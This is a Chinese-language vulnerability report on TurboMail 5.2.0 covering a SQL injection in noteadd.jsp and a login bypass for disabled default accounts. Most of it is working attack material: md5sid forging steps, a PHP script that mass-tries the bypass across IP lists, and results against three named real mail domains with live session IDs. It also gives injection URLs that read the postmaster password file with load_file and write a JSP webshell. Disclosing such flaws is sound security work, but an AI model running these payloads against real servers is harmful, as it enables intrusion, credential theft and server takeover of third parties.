### 简要描述:
前台注入存在注入,可查看管理员密码甚至getshell。
### 详细说明:
0x1 前台注入
turbomail\web\webapps\ROOT\enterprise\noteadd.jsp:
```
...
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);
return;
}
String id = request.getParameter("id");//id参数传入,没有过滤
Note note = null;
String cmd = "add";
if(id!=null){
note = Note.findById(id); //跟进findById方法
cmd = "edit";
}
...
```
turbomail.jar\turbomail\note\NoteServiceImpl.class:
```
public Note findById(String id)
{
String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
Note note = null;
try
{
conn = DB.getConnection();
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery(); //进入查询
...
```
0x2 默认用户登录
之前TurboMail出过默认用户空密码登录的漏洞, [WooYun: TurboMail邮箱系统默认配置不当可进入任意邮箱及获取管理员密码(官网也中招及大量实例)](http://www.wooyun.org/bugs/wooyun-2014-058159) ,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。
```
mysql> select username,tpassword,enable from accountutil;
+------------+--------------------+--------+
| username | tpassword | enable |
+------------+--------------------+--------+
| nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321
| postmaster | | true |
| sec_bm | | false |//空密码
| sec_sj | | false |//空密码
+------------+--------------------+--------+
4 rows in set (0.00 sec)
```
nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。
系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class:
```
...
String md5sid = request.getParameter("md5sid");
md5sid = Util.formatRequest(md5sid, MailMain.s_os,
SysConts.New_InCharSet);
...
else if (!md5sid.equals(""))
{
boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain,
md5sid);
if (bMD5SidAuth) {
userinfo = MailMain.s_auth.createUserInfo(str_uid,
str_domain);
}
}
...
```
由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法:
turbomail.jar\turbomail\auth\MD5SidAdmin.class:
```
public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
WebUtil.setResponseNocache(response);
response.setContentType("text/plain;charset=UTF-8");
String username = request.getParameter("username");
String domain = request.getParameter("domain");
String useraccount = null;
if (username == null) {
username = "";
}
if (username.indexOf("@") != -1) {
useraccount = username;
} else {
useraccount = username + "@" + domain;
}
useraccount = useraccount.toLowerCase();
String strSNO = Util.getSNO();
MD5SidUserAccount md5sidua = null;
synchronized (m_objLock)
{
md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);
if (md5sidua == null)
{
UserAccount ua = UserAccountAdmin.getUserAccount(domain, username);
if (ua == null)
{
response.getWriter().write("nouser");
return;
}
String password = ua.getPassword();
if (password.startsWith("{md5}"))
{
password = password.substring(5);
}
else
{
password = Password.decode(password);
password = MD5.getHashString(password);
}
md5sidua = new MD5SidUserAccount();
md5sidua.m_strMD5Password = password;
md5sidua.m_strUserAccount = useraccount;
m_hsMD5SidUserAccount.put(useraccount, md5sidua);
}
}
String snomd5password = strSNO + md5sidua.m_strMD5Password;
String strMD5Sid = MD5.getHashString(snomd5password);
strMD5Sid = strMD5Sid.toLowerCase();
MD5Sid md5sid = new MD5Sid();
md5sid.m_strMD5Sid = strMD5Sid;
md5sid.m_strSNO = strSNO;
if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) {
MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth");
} else {
MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件
}
md5sidua.m_hsSids.put(strMD5Sid, md5sid);
response.getWriter().write(strSNO);//输出序号
}
```
md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class:
```
...
String type = request.getParameter("type");
...
else if (type.equals("getmd5sid1"))
{
MD5SidAdmin.GetMD5Sid1(request, response);
}
...
```
利用方式:
第一步访问URL:http://localhost:8080/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid:
```
php -r "echo md5('序号'.md5('nobody54321'));"
```
第二步使用md5sid登录(md5sid只能用一次):
http://localhost:8080/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid
### 漏洞证明:
写了个小脚本跑了下:
```
<?php
$ip = explode("\n", str_replace("\r", "", file_get_contents("ip.txt")));
for ($i = 0; $i < count($ip); $i++) {
if (trim($ip[$i])) {
login_with_md5sid('sec_bm', trim($ip[$i]));
login_with_md5sid('sec_sj', trim($ip[$i]));
login_with_md5sid('nobody', trim($ip[$i]));
login_with_md5sid('nobody', trim($ip[$i]), 'nobody54321');
}
}
function login_with_md5sid($usr, $host, $pwd = '')
{
$url = "http://${host}/mailmain?type=getmd5sid1&username=${usr}&domain=root";
print_r($url."\r\n");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$sno = curl_exec($ch);
curl_close($ch);
if (preg_match('/^\d{13}$/', trim($sno))) {
//echo trim($sno)."\r\n";
echo "${host} exists user ${usr}\r\n";
$md5sid = md5($sno . md5($pwd));
$url = "http://${host}/mailmain?type=login&uid=${usr}&domain=root&md5sid=${md5sid}";
echo "try login with url: " . $url . "\r\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
$out = curl_exec($ch);
curl_close($ch);
if (preg_match('/sessionid/i', $out)) {
echo "${host} login with ${usr} successfully!\r\n";
preg_match('/Location: (.*)/',$out,$url);
file_put_contents("result.txt", "${host}:${usr}:${pwd}:-->${url[1]}\r\n", 8);
}
}
}
```
从zoomeye找了些来跑:
```
mail.jinfangda.com:nobody:nobody54321:-->http://mail.jinfangda.com/tmw/5/next/login.jsp?sessionid=198073dH4ea0_0
mail.trycool.com:nobody:nobody54321:-->http://mail.trycool.com/tmw/8/next/login.jsp?sessionid=2b9881aHb1_0
mail.paliqu.com.cn:nobody:nobody54321:-->http://mail.paliqu.com.cn/tmw/9/next/login.jsp?sessionid=497ae4aH6_0
```
常规登录失败:http://mail.jinfangda.com/mailmain?type=login&uid=nobody&pwd=nobody5421&domain=root,而使用md5sid方式登录成功:
[<img src="https://images.seebug.org/upload/201501/121549592264ad77732f24a7b1224309d0abd91b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121549592264ad77732f24a7b1224309d0abd91b.png)
得到sessionid后,就能使用前台sql注入了。load_file读取postmaster密码:
```
http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1%20union%20select%201,load_file(%27E:\\turbomail\\accounts\\root\\postmaster\\account.xml%27),3,4,5,6,7,8
```
[<img src="https://images.seebug.org/upload/201501/121550357aed722edb9b84caafec40bdd59540bd.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121550357aed722edb9b84caafec40bdd59540bd.png)
也可以直接写shell:
```
http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1 union select '','test','','','','','','' into dumpfile 'E:\\turbomail\\web\\webapps\\ROOT\\test.jsp'
```
http://mail.jinfangda.com/test.jsp
表t_note默认没有数据,得手动添加一个记录,不然注入失败。在前台"记事本"随便添加一个即可。
[<img src="https://images.seebug.org/upload/201501/121551441cff28e8543585ec7d8307ee38641844.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121551441cff28e8543585ec7d8307ee38641844.png)
暂无评论